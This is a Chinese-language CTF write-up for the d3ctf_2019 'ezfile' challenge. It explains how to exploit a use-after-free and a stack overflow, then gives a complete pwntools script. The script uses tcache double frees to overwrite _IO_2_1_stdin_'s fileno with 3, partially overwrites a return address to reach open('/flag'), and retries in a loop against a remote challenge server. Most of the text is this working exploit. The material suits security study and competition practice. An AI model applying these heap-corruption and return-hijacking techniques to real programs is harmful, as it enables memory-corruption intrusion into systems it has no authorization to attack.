d3ctf_2019_ezfile(文件流fileno的巧妙利用)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,delete功能存在UAF
程序里使用的是write输出,因此劫持IO_2_1_stdout泄露不了数据。
Add功能的size固定
Encrypt功能存在栈溢出
程序一开头有一个这个
我们可以利用堆漏洞劫持IO_2_1_stdin,将里面的fileno改为3,然后利用encrypt功能里的栈溢出,采用低字节覆盖法,将返回地址覆盖到此处
而rdi指向我们输出的字符串,因此rdi可控
这样,通过栈溢出返回到open处,便可以打开我们想要的文件。又由于_IO_2_1_stdin的fileno被劫持为3,那么scanf救会从这个打开的文件里读取数据到name里,然后后面输出。
#coding:utf8
from pwn import *
def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('size of your note >>',str(size))
sh.sendafter('input your content >>',content)
def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('input the index to delete >>',str(index))
def encnote(index,size,seed):
sh.sendlineafter('>>','3')
sh.sendlineafter('input the index to encrypt >>',str(index))
sh.sendlineafter('input the size of the seed (max 0x50) >>',str(size))
sh.sendafter('input the crypt seed >>',seed)
def exploit():
#0~5
for i in range(6):
add(0x10,'a'*0x10)
delete(1)
#double free
delete(0)
delete(0)
add(0x1,'\x60')
add(0x10,'a'*0x10)
#修改chunk0的size
add(0x9,p64(0) + p8(0xA1))
#填满tcache bin
for i in range(7):
delete(0)
#得到unsorted bin
delete(0)
#低字节覆盖,有一定几率到_IO_2_1_stdin_的fileno处
add(0x2,'\x70\xFA')
#再来一次double free
delete(2)
delete(2)
add(0x1,'\x70')
add(0x1,'a')
add(0x1,'a')
#申请到stdin的fileno处,改写fileno为3
add(0x1,p8(3))
encnote(0,0x6A,'/flag'.ljust(0x68,'\x00') + p16(0x5147))
sh.recvuntil('welcome!')
flag = sh.recvuntil('\n')
print 'flag=',flag
while True:
try:
global sh
#sh = process('./d3ctf_2019_ezfile')
sh = remote('node3.buuoj.cn',29967)
sh.sendlineafter('your name:','haivk')
exploit()
sh.interactive()
except:
sh.close()
print 'trying...'